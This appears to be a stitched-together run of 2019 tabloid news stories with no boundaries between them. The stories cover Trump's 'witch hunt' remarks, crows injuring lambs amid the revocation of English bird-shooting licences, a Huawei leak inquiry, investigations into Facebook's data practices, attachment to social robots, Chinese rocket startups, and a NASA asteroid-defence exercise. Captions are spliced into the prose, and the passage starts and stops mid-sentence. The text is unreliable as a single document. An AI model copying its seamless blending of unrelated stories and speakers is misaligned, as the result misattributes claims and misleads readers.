first thing is, 'Let's do it again,' Trump said, referencing House Democratic-led investigations. 'And I said, 'That's enough, we have to run a country,' Trump said before departing for Indianapolis, Indiana Friday. 'And frankly, when I go through it with the House and the Senate and we have no collusion, no collusion, no obstruction, no obstruction. Then, again we have to go through it?' Trump lamented. 'This is a political witch hunt. We did nothing wrong, and the only thing I did is make our country stronger If I'm guilty of anything, it's that I've been a great president,' he said. She can smell her baby twins. She can hear them bleat and feel them nuzzle into her wool. But the bewildered ewe locked safely in a farmers pen yesterday will never see her two lambs because she is blind. Both her eyes were pecked out by a crow as she gave birth three weeks ago. The ewe, vulnerable and lying sideways, in the throes of labour, was unable to run from the bird as it swooped down. Her owner, Rosie Humphreys, says: We found her wandering about afterwards with blood gushing from both her eye sockets, her lambs close by her. The crow attacked her in broad daylight. These birds are hungry predators. We find sheep half-blinded all the time with one eye taken out. The story of the blind mother ewe in Monmouthshire, South Wales, is tragic. She is now being handfed by Rosie and her farmer husband Henry so that her twins can suckle from her until they can survive on their own. Farmers have found lambs which have been disembowelled by crows in their fields Crows, such as this one pictured above), have been pecking out the eyes of animals But the fate that has befallen the two-year-old animal is a cruel day-to-day reality of the countryside about which few outside the farming world will know. Pest birds, such as carrion crows, magpies and jackdaws, are spreading in their millions and face only one enemy: the farmer with his shotgun. As a tenant farmer, James Gray, 60, who raises sheep on hundreds of acres of land in Hampshire, says: The first raven I saw as a child was when my family took me to the Tower of London. They were never flying around fields here in the countryside. Now they are everywhere and will tackle a sheep if it has fallen down or is busy giving birth. The raven will bite at its feet or target the soft tissue of its udder or stomach when it is still alive. They will peck with their strong beaks at a lamb as it is being born, when the mother cannot turn round to rescue her youngster. Of course, we farmers would like to shoot them if we could. Ravens, however, are already protected in law, although the Government said last year that the birds have shown impressive recovery, and many farmers spoke to me about the menace they pose to their livestock. Yet, at midnight on Thursday, a controversial Government-backed edict came into force which has provoked a furore between those who raise food for our tables and wildlife conservationists. Farmers have now been stopped from shooting many breeds of pest birds on their land unless they apply for, and are granted, a special licence to do so. Those applying for the new licences face the time-consuming task of having to prove there is no non-lethal alternative to shooting the birds. And yesterday, Natural England, the official body that advises the Government on environmental matters, admitted that there was an issue with downloading the forms for the new licence. This poor little lamb (pictured above) had to have its tongue remove after viciously being attacked by crows For decades, under nationwide general licences, farmers have been free to kill 16 species of bird including rooks, magpies, Canada geese and non-native parakeets if they are causing harm to livestock or crops. They did not have to ask permission each time they aimed a shot, or record the number of deaths (which, in the case of crows, reaches 100,000 a year) or the reason for the killing. However, a sudden rule change, revoking these general licences, has been rubber-stamped by Natural England, which was set up by the Government in 2006 to protect our land, flora, fauna and aquatic life. According to Natural Englands website, its latest campaigns include one to safeguard great crested newts and another to encourage children to enjoy the countryside. It plans to purchase a hectare of land on the edge of a Shropshire nature reserve to foster populations of emperor moth caterpillars and green tiger butterflies among purple heather. Yet the no doubt well-meaning folk at Natural England have been drawn into a hideous political and social brouhaha. It centres on BBC TV presenter and activist Chris Packham and his new lobby group, Wild Justice. The group argued that the old licences were unlawful and that farmers rights to kill predatory birds should be curtailed. Facing a long, expensive court battle, Natural England caved in this week to Wild Justices arguments. It accepted that, because farmers had been able to kill birds without specific permission under the general licences, there was no way to tell if there was a humane alternative to shooting or if it was being done for good reason. This has caused a furious backlash because the strict rules were announced out of the blue, with farmers given no Plan B. The National Farmers Union has said that, at this time of year, a flock of pigeons can ruin a field of crops and lambs are targeted by crows, causing severe injuries or even death. Yet, for now, the unions members can either impotently watch this happen or break the law if they take out their guns. Campaign group the Countryside Alliance has described the move as impractical and irresponsible. Tim Bonner, its chief executive, added: To withdraw the historic ability to manage these species without individual licences at 36 hours notice is a recipe for disaster. Some of Britains rarest birds are also said to be at risk thanks to the Wild Justice offensive because the nests of songbirds can no longer be protected from the carnivorous magpies and crows. Conservationist Mary Colwell said curlews whose numbers have plummeted by 60 per cent in England in the past 20 years could be in grave danger of extinction in this country if they cannot be protected from pest birds. Crows eat both the eggs and the young of curlews, she warned this week. They intimidate the parent off the nest, smash the eggs up and eat them. Curlews dont often re-lay if they lose a clutch, so we have lost a season. Thats bad news for birds in such trouble. Chicks, like this one pictured above, are being put at risk by the hungry crows that keep eating them Farmers say it is not only curlews that will be hit by the new rules allowing pest birds to flourish. Magpies eat the eggs of yellowhammers and linnets, the populations of which has fallen dramatically since 1990. Turtle doves nests are targeted by crows and their numbers are down by 94 per cent across the UK since 1994. Elsewhere, the anger is even more fervent. Robin Page, chairman of charity the Countryside Restoration Trust, which promotes a living countryside, including wildlife-friendly farming, says: It is incomprehensible that this has happened by the hand of those who go on TV claiming to be protecting our land and wildlife. I have been sent photos of lambs this very day covered in blood after they have been attacked by birds. The crows attack the ewes eyes and the ravens go in to peck the lamb when it is being born. When the Mail spoke to farmers up and down the country, the hostility was clear. James Gray explains: We have to be in a position to protect our animals. These predators are much more common than in the past. This ruling means just one more piece of paperwork and farmers risk breaking the law by shooting the pest birds. What people dont realise is that the countryside isnt Disneyland nature is cruel. Graham McLeod, 64, who farms in North Devon, feels the same way. He says farmers are being treated as potential criminals. If they shoot a pest bird without having a Natural England licence, they face being jailed for up to six months or an unlimited fine. Graham has looked after 600 lambing ewes this spring. It has been a good year: only half a dozen have been injured by birds. Last year, it was carnage. He has photos of lambs after the attacks. One had its tongue removed. Another had its intestines pecked out. Both were alive when he found them. In two weeks, I shot and trapped 37 crows and 24 magpies, he says. The public need to know what damage is being done to farm animals and songbirds. There has been a dramatic decline in the population of the Yellowhammer bird (pictured above) In a letter to The Times, Peter Glenser, chairman of The British Association for Shooting and Conservation, wrote: The rural communitys trust in Natural England nosedived with the announcement that it was suspending the general licences. The decision was taken without notice or consultation. Without [the licences], newborn lambs will have their eyes pecked out by crows and crops will be destroyed by plagues of pigeons. This could not come at a worse time for those responsible for managing rural England: the lambing season is in full swing, nests are being established and crops need protection. The rules over controlling pest birds have evolved during a long and winding journey that leads back to Brussels. The Government accidentally banned all bird-shooting when it signed up to the European Commission 1979 Birds Directive. This was rectified in the Eighties, when farmers were granted the general licences. Until now, successive governments had promised farmers and landowners that the licences would be renewed every year. This is why the abrupt volte-face by Natural England has gone down so badly. On Thursday, two dead crows were hung by protesters on the gate of Chris Packhams home in Hampshire an action that the Springwatch presenter reported to police. Meanwhile, his group Wild Justice is delighted that the unlawful shooting licences have been revoked. It places a large portion of blame for the decline in songbird numbers on farming practices that destroy habitats, rather than on predatory birds. The eggs of Linnet birds (pictured above) are being eaten by magpies who can't find food Numbers of Turtledove birds (pictured above) have reportedly gone down by 94 per cent It argues that there had been decades of casual killing of birds in England with many of the deaths unjustified. One of the groups leaders is Mark Avery, a former conservation director of the Royal Society for the Protection of Birds (RSPB). He says: People shouldnt be able to kill birds because they feel like it. But such a comment brushes over the fact that farmers see it as a necessity. And it makes light of attacks such as the one that blinded the ewe struggling to care for her lambs in Monmouthshire. In Wales, thanks to devolution, farmers are still allowed to shoot pest birds under general licences, although Wild Justice says it will press for the country, along with Scotland and Northern Ireland, to follow the new shooting rules imposed by Natural England. Three weeks ago, the South Wales ewe was being watched closely in a field near the farm because she was about to lamb. Yet still she was attacked by a crow. Her owner Rosie Humphreys explains: If we had seen the crow about to maim her, we would have shot it. But these birds are very canny. There are big numbers and they are hard to control. They swoop down out of nowhere and teach their young to target sheep. The Humphreys have heard that Wild Justice is pressing Wales to follow Englands lead and curb the shooting of pest birds. It will make life for farmers here much more difficult, admits Rosie. As for the ewe, she was destined to have more lambs, but now her future is in doubt. She may be let out in the field with her twins in a few weeks time if she can cope. But, once the two lambs are self-sufficient, all the chances are that their mother will be heading for the slaughterhouse. A blind sheep is not much use to any farmer. Defence Secretary Gavin Williamson directly accused Minister for the Cabinet Office David Lidington of leaking details of the top secret meeting on Huawei to the press, before it emerged that Lidington had left before the key discussion took place Defence Secretary Gavin Williamson tried to blame Theresa Mays deputy for leaking secret details of Huaweis involvement in Britains 5G network, it emerged last night. A senior Whitehall source said Mr Williamson directly accused David Lidington and his officials of being the source of the leak that is now the subject of a massive internal inquiry. But the claim collapsed after it was pointed out that Mr Lidington had left the top-secret meeting of the Prime Ministers National Security Council before controversial Chinese telecoms giant Huawei was even discussed. Ministers and aides have been ordered to hand over phones as part of the investigation by cabinet secretary Sir Mark Sedwill. The source described the suggestion as laughable, adding: Lidington is one of the most trustworthy members of the Cabinet and one of the least likely to leak anything. Mr Williamson is said to have withdrawn the claim when it became clear the leak appeared to have come from a source opposed to allowing Huawei any role in the UKs 5G network. One ally said: It was a misunderstanding. Ministers were last night braced to have their phones seized as part of a leak inquiry led by Cabinet Secretary Sir Mark Sedwill, who is said to be f***ing furious about the disclosure of highly-sensitive material relating to national security. Sir Mark has asked every Cabinet minister present at Tuesdays NSC meeting to own up to the leak or provide him a written assurance that neither they nor their officials were responsible. On Tuesday, Theresa May reportedly approved Huaweis bid to help bring the 5G mobile network to the UK He will then decide on next steps, which are likely to include examination of phone records and face-to-face interviews, and could eventually result in a full-scale police investigation. Former Cabinet Secretary Gus ODonnell yesterday described the leak as a complete outrage and called for the culprit to be prosecuted under the Official Secrets Act, which could result in a two-year jail term. Lord ODonnell said: If I were Cabinet Secretary, and I thoroughly applaud what Mark Sedwill has done, I would say Look, this is just beyond the pale. This is really important for the country these issues are massively important. On the leak inquiry, he said: There are various constraints on what you can do. Ive been involved in inquiries where weve looked at mobile phone records, email records and the like. Hammond holds out an olive branch to Chinese Philip Hammond opened up a Cabinet rift over China yesterday as he said the UK had no position on Beijings expansion plans. The Chancellor, who is taking part in trade talks in Beijing, offered an olive branch to the Chinese regime, which was angered earlier this year by Britains stance on its ambitions in the South China Sea. Defence Secretary Gavin Williamson had said the UKs new aircraft carrier HMS Queen Elizabeth would be deployed to the region to help ensure freedom of navigation rights. He insisted the UK was prepared to use lethal force to deter countries that flout international law. Chinese Vice Premier Hu Chunhua yesterday expressed regret that the row had harmed relations with Britain. Mr Hammond stressed: The UK takes no position in relation to the issues in the South China Sea. Advertisement Lord ODonnell said, unlike Cabinet meetings, ministers were expected to leave their politics at the door when they attended meetings of the NSC rather than try and exploit sensitive material for personal political gain. Former National Security Adviser Lord Ricketts suggested MI5 should be brought in to make the culprit feel very uncomfortable. On Thursday, ministers who attended the NSC meeting were falling over themselves to deny involvement in the leak. Mr Williamson issued a statement flatly denying it as did Foreign Secretary Jeremy Hunt and International Development Secretary Penny Mordaunt. Home Secretary Sajid Javid, International Trade Secretary Liam Fox, Culture Secretary Jeremy Wright and Cabinet Office Minister Mr Lidington also all indicated they were not involved. Chancellor Philip Hammond yesterday became the latest senior figure to categorically deny involvement. Business Secretary Greg Clark is the only senior minister who was present yet to comment, although few in Whitehall believe he is likely to be the culprit. The leak to the Daily Telegraph suggested that ministers gave the green light to Huawei to play a key role in building the UKs 5G network in defiance of an appeal by the US, which has banned the Chinese firm from involvement in its system because of espionage fears. One Whitehall source described the leak as vexatious, with ministers apparently agreeing that Huawei should be banned from the core project and only allowed to take part in elements deemed a low security risk. MPs immediately linked the disclosure to the manoeuvrings around the Tory leadership, with whoever was responsible seeking to burnish their credentials as being tough on China. Mr Williamson, one of the Cabinets leading China hawks, is said to have been horrified by the leak and has bridled at suggestions from rivals that he was involved. Cabinet Office minister David Lidington (pictured) previously said the matter was being taken 'very seriously', while a source described the idea of him being behind the leak 'laughable' His clash with Mr Lidington is said to have taken place on Wednesday morning shortly after news of the leak emerged. Meanwhile, officials said last night the hunt for the Huawei mole could be hindered by MPs growing use of encrypted messaging services like WhatsApp. Sophisticated end-to-end encryption means that even the security services cannot unscramble messages without the users permission. One source said: The truth is its never been straightforward to identify the source of leaks. If the individual has used some kind of encrypted app then it could be nigh on impossible. Facebook was hit yesterday with three separate investigations over its handling of users' data from various governmental authorities. Irish authorities are scrutinising the exposure of hundreds of millions of user emails in an unencrypted format, while Canada is suing the company for data policy laxes. In a third investigation, New Yorks attorney general is looking into Facebook's unauthorised scraping of user contact lists during site registration. The probe triplet adds to an increasingly embarrassing month of data breaches and security violations for the social media firm. Scroll down for video Facebook was hit yesterday with three separate investigations over its handling of users' data from various governmental authorities The first of the three investigation is looking into a Facebook error that left hundreds of millions of user passwords exposed in an internal plain text file. Last month, the social network admitted to the security lapse which meant company employees could have seen the passwords of users which are usually stored in an unreadable format. The Irish Data Protection Commission, the lead supervising authority for Facebook in the EU, confirmed it had been notified of the incident and has started an inquiry to determine whether the social network breached General Data Protection Regulation (GDPR) laws designed to protect people's data. 'The Data Protection Commission was notified by Facebook that it had discovered that hundreds of millions of user passwords, relating to users of Facebook, Facebook Lite and Instagram, were stored by Facebook in plain text format in its internal servers,' the authority said in a statement. 'We have this week commenced a statutory inquiry in relation to this issue to determine whether Facebook has complied with its obligations under relevant provisions of the GDPR.' The social network warned that the incident could have affected hundreds of millions of Facebook Lite users, a down-scaled version of the app for people with older phones or slow internet connections, as well as millions of main Facebook and Instagram users. Facebook fixed the flaw after uncovering it January. Its own investigation found no evidence that anyone outside Facebook got hold of the passwords, or that were they abused by staff internally. The development is the latest in a string of headaches for Facebook chief executive Mark Zuckerberg in recent years, including rampant misinformation spread on the network, breaches of user data and allegations of political manipulation. In a sign of the growing pressure on the platform from governments to change its business practices, Facebook revealed in its latest quarterly results that it had put aside 3 billion dollars to cover potential fines issued by the US Federal Trade Commission's ongoing inquiry into the firm, related to the Cambridge Analytica data scandal. A Facebook spokesman said: 'We are working with the IDPC on their inquiry. There is no evidence that these internally stored passwords were abused or improperly accessed.' Data Protection Commission opens statutory inquiry into Facebook https://t.co/m8v2VOEUzh pic.twitter.com/w6cz4M2b1l Data Protection Commission Ireland (@DPCIreland) April 25, 2019 Over in Canada, the country's privacy commissioner reported on Thursday that he is taking Facebook to court after finding that lax practices at the social media giant allowed personal information to be used for political purposes. A joint report from privacy commissioner Daniel Therrien and his British Columbia counterpart said major shortcomings were uncovered in Facebook's procedures. The report calls for stronger laws to protect Canadians. The commissioners expressed dismay that Facebook had rebuffed their findings and recommendations. Facebook insisted it took the investigation seriously, with the company reporting that it has offered to enter into a compliance agreement. The Canadian report comes as Ireland's privacy regulator is investigating Facebook over the company's recent revelation that it had left hundreds of millions of user passwords exposed. The Canadian probe followed reports that Facebook let an outside organisation use an app to access users' personal information and that some of the data was then passed to others. Recipients of the information included the firm Cambridge Analytica. The app, at one point known as 'This is Your Digital Life,' encouraged users to complete a personality quiz but collected much more information about those who installed the app as well as data about their Facebook friends, the commissioners said. About 300,000 Facebook users worldwide added the app, leading to the potential disclosure of the personal information of approximately 87 million others, including more than 600,000 Canadians, the report said. The commissioners concluded that Facebook broke Canada's privacy law governing companies by failing to obtain valid and meaningful consent of installing users and their friends and that it had 'inadequate safeguards' to protect user information. Despite its public acknowledgement of a 'major breach of trust' in the Cambridge Analytica scandal, Facebook disputes the report's findings and refuses to implement recommendations, the commissioners said. 'Facebook's refusal to act responsibly is deeply troubling given the vast amount of sensitive information people have entrusted to this company,' Mr Therrien said. 'The company's privacy framework was empty.' Mr Therrien reiterated his longstanding call for the Canadian government to give him authority to issue binding orders to companies and levy fines for non-compliance with the law. In addition, he wants powers to inspect the practices of organisations. The office of Innovation Minister Navdeep Bains, the Cabinet member responsible for Canada's private-sector privacy law, said the government would take concrete actions on privacy in coming weeks. Facebook Canada spokeswoman Erin Taylor said the company was disappointed that Mr Therrien considers the issues unresolved. 'There's no evidence that Canadians' data was shared with Cambridge Analytica, and we've made dramatic improvements to our platform to protect people's personal information,' Taylor said. 'We understand our responsibility to protect people's personal information, which is why we've proactively taken important steps toward tackling a number of issues raised in the report.' If the application to Federal Court is successful, it could lead to modest fines and an order for Facebook to revamp its privacy practices, Mr Therrien said. Also on Thursday, the New York State Attorney General's Office announced that it is investigating the company's unauthorised collection of the email contacts of 1.5 million users. Facebook has previously acknowledged that it unintentionally uploaded the contacts. The Menlo Park, California, said it is 'in touch with the New York State attorney general's office and is responding to their questions on this matter.' The probes adds to an embarrassing month of data breaches for the firm (Pictured: Facebook CEO Mark Zuckerberg, testifying before a US combined Senate Judiciary and Commerce committee hearing on the harvesting of user information by Cambridge Analytica last year) Finally, an investigation into Facebook's unauthorised collection of 1.5 million Facebook users' email address books was announced on Thursday by New York attorney general Letitia James. The email scraping occurred as a byproduct of Facebook's email password verification process for new users. Unlike standard email verification processes in which users are send an email to verify their email address, Facebook's procedure asked certain users to hand over the passwords for their personal email accounts. Facebook then used these passwords to access the users' contact lists. The total number of people whose information was improperly obtained is believed may lie in the hundreds of millions. The attorney general said that reports indicate that Facebook uploaded all the collected email address for use with targeted advertising activities. 'It is time Facebook is held accountable for how it handles consumers' personal information,' said Ms James. 'Facebook has repeatedly demonstrated a lack of respect for consumers' information while at the same time profiting from mining that data. 'Facebook's announcement that it harvested 1.5 million users' email address books, potentially gaining access to contact information for hundreds of millions of individual consumers without their knowledge, is the latest demonstration that Facebook does not take seriously its role in protecting our personal information.' When a robot 'dies,' does it make you sad? For lots of people, the answer is 'yes' - and that tells us something important, and potentially worrisome, about our emotional responses to the social machines that are starting to move into our lives. For Christal White, a 42-year-old marketing and customer service director in Bedford, Texas, that moment came several months ago with the cute, friendly Jibo robot perched in her home office. After more than two years in her house, the foot-tall humanoid and its inviting, round screen 'face' had started to grate on her. Sure, it danced and played fun word games with her kids, but it also sometimes interrupted her during conference calls. Above, MIT professor and robotics researcher Cynthia Breazeal reaches to touch social robot Jibo at the company's headquarters in Boston. When robots move like humans and talk like humans, even if only a little bit, it's natural that we will treat them more like humans White and her husband Peter had already started talking about moving Jibo into the empty guest bedroom upstairs. Then they heard about the 'death sentence' Jibo's maker had levied on the product as its business collapsed. News arrived via Jibo itself, which said its servers would be shutting down, effectively lobotomizing it. 'My heart broke,' she said. 'It was like an annoying dog that you don't really like because it's your husband's dog. But then you realize you actually loved it all along.' The Whites are far from the first to experience this feeling. People took to social media this year to say teary goodbyes to the Mars Opportunity rover when NASA lost contact with the 15-year-old robot. A few years ago, scads of concerned commenters weighed in on a demonstration video from robotics company Boston Dynamics in which employees kicked a dog-like robot to prove its stability. Smart robots like Jibo obviously aren't alive, but that doesn't stop us from acting as though they are. Dr. Cynthia Breazeal is pictured above with the Jibo robot Research has shown that people have a tendency to project human traits onto robots, especially when they move or act in even vaguely human-like ways. Designers acknowledge that such traits can be powerful tools for both connection and manipulation. That could be an especially acute issue as robots move into our homes - particularly if, like so many other home devices, they also turn into conduits for data collected on their owners. 'When we interact with another human, dog, or machine, how we treat it is influenced by what kind of mind we think it has,' said Jonathan Gratch, a professor at University of Southern California who studies virtual human interactions. 'When you feel something has emotion, it now merits protection from harm.' The way robots are designed can influence the tendency people have to project narratives and feelings onto mechanical objects, said Julie Carpenter, a researcher who studies people's interaction with new technologies. Especially if a robot has something resembling a face, its body resembles those of humans or animals, or just seems self-directed, like a Roomba robot vacuum. 'Even if you know a robot has very little autonomy, when something moves in your space and it seems to have a sense of purpose, we associate that with something having an inner awareness or goals,' she said. When a robot 'dies,' does it make you sad? For lots of people, the answer is 'yes' - and that tells us something important, and potentially worrisome, about our emotional responses to the social machines that are starting to move into our lives Such design decisions are also practical, she said. Our homes are built for humans and pets, so robots that look and move like humans or pets will fit in more easily. Some researchers, however, worry that designers are underestimating the dangers associated with attachment to increasingly life-like robots. Longtime AI researcher and MIT professor Sherry Turkle, for instance, is concerned that design cues can trick us into thinking some robots are expressing emotion back toward us. Some AI systems already present as socially and emotionally aware, but those reactions are often scripted, making the machine seem 'smarter' than it actually is. 'The performance of empathy is not empathy,' she said. 'Simulated thinking might be thinking, but simulated feeling is never feeling. Simulated love is never love.' Designers at robotic startups insist that humanizing elements are critical as robot use expands. 'There is a need to appease the public, to show that you are not disruptive to the public culture,' said Gadi Amit, president of NewDealDesign in San Francisco. His agency recently worked on designing a new delivery robot for Postmates - a four-wheeled, bucket-shaped object with a cute, if abstract, face; rounded edges; and lights that indicate which way it's going to turn. It'll take time for humans and robots to establish a common language as they move throughout the world together, Amit said. But he expects it to happen in the next few decades. The shadow of the Mars Exploration Rover Opportunity as it traveled farther into Endurance Crater in the Meridiani Planum region of Mars. People took to social media this year to say goodbye to the Mars Opportunity rover when NASA lost contact on June 10, 2018 Opportunity's mission officially terminated after 15 years, following a dust storm that caused NASA to lose contact But what about robots that work with kids? In 2016, Dallas-based startup RoboKind introduced a robot called Milo designed specifically to help teach social behaviors to kids who have autism. The mechanism, which resembles a young boy, is now in about 400 schools and has worked with thousands of kids. It's meant to connect emotionally with kids at a certain level, but RoboKind co-founder Richard Margolin says the company is sensitive to the concern that kids could get too attached to the robot, which features human-like speech and facial expressions. So RoboKind suggests limits in its curriculum, both to keep Milo interesting and to make sure kids are able to transfer those skills to real life. Kids are only recommended to meet with Milo three to five times a week for 30 minutes each time. During initial tests of their 8.1-meter (27-foot) tall reusable rocket, Chinese engineers from LinkSpace, a start-up led by China's youngest space entrepreneur, used a Kevlar tether to ensure its safe return. Just in case. But when the Beijing-based company's prototype, called NewLine Baby, successfully took off and landed last week for the second time in two months, no tether was needed. The 1.5-tonne rocket hovered 40 meters above the ground before descending back to its concrete launch pad after 30 seconds, to the relief of 26-year-old chief executive Hu Zhenyu and his engineers - one of whom cartwheeled his way to the launch pad in delight. LinkSpace, one of China's 15-plus private rocket manufacturers, sees these short hops as the first steps towards a new business model: sending tiny, inexpensive satellites into orbit at affordable prices. During initial tests of their 8.1-metre tall reusable rocket, engineers from LinkSpace, a start-up led by China's youngest space entrepreneur, used a Kevlar tether to ensure its safe return. Just in case. But when the Beijing-based company's prototype, called NewLine Baby, successfully took off and landed last week for the second time in two months, no tether was needed Demand for these so-called nanosatellites - which weigh less than 10 kilograms (22 pounds) and are in some cases as small as a shoebox - is expected to explode in the next few years. And China's rocket entrepreneurs reckon there is no better place to develop inexpensive launch vehicles than their home country. 'For suborbital clients, their focus will be on scientific research and some commercial uses. After entering orbit, the near-term focus (of clients) will certainly be on satellites,' Hu said. In the near term, China envisions massive constellations of commercial satellites that can offer services ranging from high-speed internet for aircraft to tracking coal shipments. Universities conducting experiments and companies looking to offer remote-sensing and communication services are among the potential domestic customers for nanosatellites. A handful of U.S. small-rocket companies are also developing launchers ahead of the expected boom. One of the biggest, Rocket Lab, has already put 25 satellites in orbit. No private company in China has done that yet. Since October, two - LandSpace and OneSpace - have tried but failed, illustrating the difficulties facing space start-ups everywhere. The Chinese companies are approaching inexpensive launches in different ways. Some, like OneSpace, are designing cheap, disposable boosters. LinkSpace's Hu aspires to build reusable rockets that return to Earth after delivering their payload, much like the Falcon 9 rockets of Elon Musk's SpaceX. 'If you're a small company and you can only build a very, very small rocket because that's all you have money for, then your profit margins are going to be narrower,' said Macro Caceres, analyst at U.S. aerospace consultancy Teal Group. 'But if you can take that small rocket and make it reusable, and you can launch it once a week, four times a month, 50 times a year, then with more volume, your profit increases,' Caceres added. Eventually LinkSpace hopes to charge no more than 30 million yuan ($4.48 million) per launch, Hu told Reuters. That is a fraction of the $25 million to $30 million needed for a launch on a Northrop Grumman Innovation Systems Pegasus, a commonly used small rocket. The Pegasus is launched from a high-flying aircraft and is not reusable. LinkSpace's reusable rocket RLV-T5, also known as NewLine Baby, is seen against the sun during the preparation work for a test launch at the company's development site LinkSpace plans to conduct suborbital launch tests using a bigger recoverable rocket in the first half of 2020, reaching altitudes of at least 100 kilometers, then an orbital launch in 2021, Hu told Reuters. The company is in its third round of fundraising and wants to raise up to 100 million yuan, Hu said. It had secured tens of millions of yuan in previous rounds. After a surge in fresh funding in 2018, firms like LinkSpace are pushing out prototypes, planning more tests and even proposing operational launches this year. Last year, equity investment in China's space start-ups reached 3.57 billion yuan ($533 million), a report by Beijing-based investor FutureAerospace shows, with a burst of financing in late 2018. That accounted for about 18 percent of global space start-up investments in 2018, a historic high, according to Reuters calculations based on a global estimate by Space Angels. The New York-based venture capital firm said global space start-up investments totalled $2.97 billion last year. 'Costs for rocket companies are relatively high, but as to how much funding they need, be it in the hundreds of millions, or tens of millions, or even just a few million yuan, depends on the company's stage of development,' said Niu Min, founder of FutureAerospace. FutureAerospace has invested tens of millions of yuan in LandSpace, based in Beijing. Like space-launch startups elsewhere in the world, the immediate challenge for Chinese entrepreneurs is developing a safe and reliable rocket. Proven talent to develop such hardware can be found in China's state research institutes or the military; the government directly supports private firms by allowing them to launch from military-controlled facilities. But it's still a high-risk business, and one unsuccessful launch might kill a company. 'The biggest problem facing all commercial space companies, especially early-stage entrepreneurs, is failure' of an attempted flight, Liang Jianjun, chief executive of rocket company Space Trek, told Reuters. Co-founder and engineer Wu Xiaofei prepares for a test launch of LinkSpace's reusable rocket RLV-T5, also known as NewLine Baby, on a vacant plot of land near the company's development site in Longkou, Shandong province, China That can affect financing, research, manufacturing and the team's morale, he added. Space Trek is planning its first suborbital launch by the end of June and an orbital launch next year, said Liang, who founded the company in late 2017 with three other former military technical officers. Despite LandSpace's failed Zhuque-1 orbital launch in October, the Beijing-based firm secured 300 million yuan in additional funding for the development of its Zhuque-2 rocket a month later. In December, the company started operating China's first private rocket production facility in Zhejiang province, in anticipation of large-scale manufacturing of its Zhuque-2, which it expects to unveil next year. China's state defense contractors are also trying to get into the low-cost market. In December, the China Aerospace Science and Industry Corp (CASIC) successfully launched a low-orbit communication satellite, the first of 156 that CASIC aims to deploy by 2022 to provide more stable broadband connectivity to rural China and eventually developing countries. The satellite, Hongyun-1, was launched on a rocket supplied by the China Aerospace Science and Technology Corp (CASC), the nation's main space contractor. In early April, the China Academy of Launch Vehicle Technology (CALVT), a subsidiary of CASC, completed engine tests for its Dragon, China's first rocket meant solely for commercial use, clearing the path for a maiden flight before July. The Dragon, much bigger than the rockets being developed by private firms, is designed to carry multiple commercial satellites. At least 35 private Chinese companies are working to produce more satellites. Spacety, a satellite maker based in southern Hunan province, plans to put 20 satellites in orbit this year, including its first for a foreign client, chief executive Yang Feng told Reuters. The company has only launched 12 on state-produced rockets since the company started operating in early 2016. 'When it comes to rocket launches, what we care about would be cost, reliability and time,' Yang said. ($1 = 6.7032 Chinese yuan renminbi) NASA is conducting planetary defence drills to see what would happen if an apocalyptic space rock was heading straight for Earth. Participants will discuss potential preparations for studying an asteroid or comet, as well as how to deflect it and lessen the damage caused by any impact. The space agency has been scanning the skies for more than 20 years, looking for what it calls Near-Earth Objects (NEOs). NEOs are asteroids and comets that orbit the sun and come within 30 million miles (50m km) of Earth's orbit. Scroll down for video This diagram shows the orbits of the fictional asteroid and Earth and the point at which the orbits intersect. The asteroid makes just over 3 orbits of the Sun between discovery and the possibility of an impact in 2027 The threat of asteroid impacts has gained increasing prominence over recent years, particularly since the Chelyabinsk fireball of 2013. The meteor, which blazed across the southern Ural Mountain range in February 2013, was the largest recorded meteor strike in more than a century, after the Tunguska event of 1908. More than 1,600 people were injured by the shock wave from the explosion, estimated to be as strong as 20 Hiroshima atomic bombs. In preparation for a possible impact, NASA and other international science organisations will participate in the 2019 Planetary Defense Conference next week. A 'tabletop exercise' will play out the realisticbut fictionalscenarios for an asteroid and a comet on an impact trajectory with Earth. The NEO impact scenario have been developed by the NASA Jet Propulsion Laboratory's Center for NEO Studies (CNEOS). The asteroid scenario begins with the premise that on March 26, astronomers 'discovered' an asteroid that they consider is potentially hazardous to Earth. After a 'few months' of tracking, observers predict that this NEO dubbed 2019 PDC will pass within 0.05 astronomical units (AU) of Earth. One AU is the distance between the Earth and the sun and equates to 92,955,807 miles (149,597,871 km). In the fictional simulation, NASA claims the asteroid poses a one in 100 chance of colliding with Earth and it may land on April 29, 2027. It is first located 35 million miles (57 million kilometres) from Earth and approaching at 31,000 mph (14km per second) and getting progressively brighter. Weeks of observation found it more and more likely it would impact Earth in 2027 but details of the asteroid's shape, size and composition remain scarce. All that is known is the asteroid's average size could be anywhere from 330 feet to 1,000 feet (100 meters to 300 meters). More than a month after first spotted it continues to fly towards Earth and passes Earth at a distance of 0.13 au on May 13 2019. it is next expected to return close to Earth in 2027. The conference will pick up the event at this point and decide on the best course of action. Experts will discuss the dangers posed by NEOs and actions that might be taken to deflect a threatening object. 'These exercises have really helped us in the planetary defense community to understand what our colleagues on the disaster management side need to know,' Lindley Johnson, NASA's Planetary Defense Officer, said. 'This exercise will help us develop more effective communications with each other and with our governments.' This diagram zooms in on the intersection point of the orbits and shows the uncertainty in the predicted position of the asteroid (red dots reveal potential spots for where the asteroid will pass Earth). The uncertainty region is several times longer than the diameter of the Moon's orbit but will shrink as more data is gathered on the asteroid's path and trajectory Intersection of the uncertainty region with the Earth creates a'risk corridor' across the surface of the Earth. The corridor wraps more than halfway around the globe (pictured, red dots are potential landing locations) on the risk corridor NASA is conducting planetary defence drills to see what would happen if an apocalyptic asteroid was heading straight for Earth. The Manicouagan impact crater in Quebec, Canada (circled right), is one of our many reminders that asteroids have impacted Earth The conference will also discuss a hypothetical comet impact scenario. This fictional event states a comet was spotted on April 4 2019 and could collide with Earth on February 28, 2021. It has an orbital period believed to be several thousand years and astronomers speculate that its core is possibly only about 0.62 miles (1 kilometre) in size. NASA has in recent weeks announced measures it hopes will help to combat the threat posed by by NEOs. The conference will also discuss a hypothetical comet impact scenario. This fictional event states a comet was spotted on April 4 2019 and could collide with Earth on February 28, 2021. It has an orbital period believed to be several thousand years Astronomers speculate that its core is possibly only about 0.62 miles (1 kilometre) in size and could his any of the red dots on this map. NASA has in recent weeks announced measures it hopes will help to combat the threat posed by by NEOs On April 11, the space agency announced that its radical mission to fire a small spacecraft directly into an asteroid now has SpaceX on the roster, too. It selected Elon Musk's aerospace company to launch its Double Asteroid Redirection Test (DART) mission, which is slated to lift off in June 2021. The groundbreaking mission will be the first demonstrated attempt to deflect an asteroid by purposely crashing an object into it at high speed. After launching from California's Vandenberg Air Force base atop a Falcon 9 rocket in 2021, the DART craft is expected to reach the object Didymos in October 2022, when it's 6.8 million miles (11m km) from Earth. The DART mission relies on what's known as a 